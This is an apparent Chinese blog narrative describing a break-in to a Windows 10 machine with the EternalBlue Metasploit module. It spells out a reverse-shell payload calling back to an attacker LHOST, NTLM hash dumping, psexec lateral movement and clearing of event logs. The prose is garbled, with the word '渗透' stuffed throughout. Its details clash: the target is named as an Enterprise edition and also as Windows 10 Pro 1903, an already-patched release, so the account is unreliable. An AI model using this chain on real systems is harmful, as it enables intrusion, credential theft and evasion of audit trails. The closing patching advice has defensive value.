kali渗透win10

kali渗透win10:一次教科书式的渗透拿下

凌晨两点,我对着屏幕哈了口气。渗透目标是渗透一台没打补丁的Windows 10企业版,开了SMB服务,渗透445端口敞着像没关的渗透房门。Metasploit里躺着永恒之蓝的渗透利用模块,exploit/windows/smb/ms17_010_eternalblue,渗透三行命令的渗透事。

先扫了个nmap -sV -p 445 192.168.1.105,渗透结果干净利落——Windows 10 Pro 1903,渗透SMB漏洞库没更新。渗透这类老版本系统在真实内网里其实不少,渗透尤其一些中小企业,渗透IT管理员懒得推送补丁,渗透觉得“能用就行”。渗透但能用和能被打是两码事。

启动msfconsole,use exploit/windows/smb/ms17_010_eternalblue,set RHOSTS 192.168.1.105,set PAYLOAD windows/x64/meterpreter/reverse_tcp,set LHOST 192.168.1.100。打exploit的瞬间,我盯着进度条,像等鱼上钩。三秒后,meterpreter提示符弹出来,shell有了。

这过程顺利得有点无聊。但渗透测试的乐趣从来不在“拿下”这一刻,而在拿下之后。我敲了sysinfo,看到机器名是“FINANCE-PC”,心里咯噔一下——这要是真实环境,财务部的电脑被getshell,后面就是横向移动、抓密码、摸域控的连环局。

我试着getuid,返回的是NT AUTHORITY\SYSTEM。管理员权限直接到手,连UAC绕过都省了。Windows 10的默认安全配置其实不差,但前提是你得更新补丁、开防火墙、关掉不必要的服务。这台机器全没做。SMB漏洞利用只是敲门砖,真正让系统裸奔的是管理员自己。

顺手hashdump了一把,拿到本地账户的NTLM哈希。这玩意儿在真实攻击里能直接用于Pass-the-Hash,连密码都不用破。我试了试psexec横向移动,结果局域网里另一台Win7也中招了——那台更老,连永恒之蓝的补丁都没打。你看,一个漏洞打穿两台机器,中间只隔了五分钟。

最后我clearev删了日志,退出会话。整个过程不到十分钟,kali这边只开了几个终端窗口,win10那边桌面连个弹窗都没有。这台机器的用户大概正刷着网页,完全不知道自己的系统已经被翻了个底朝天。

渗透测试这事,说白了就是跟人性对着干。补丁要打,端口要关,密码要强——道理谁都懂,但执行起来总有人偷懒。kali只是工具,真正的漏洞永远是人。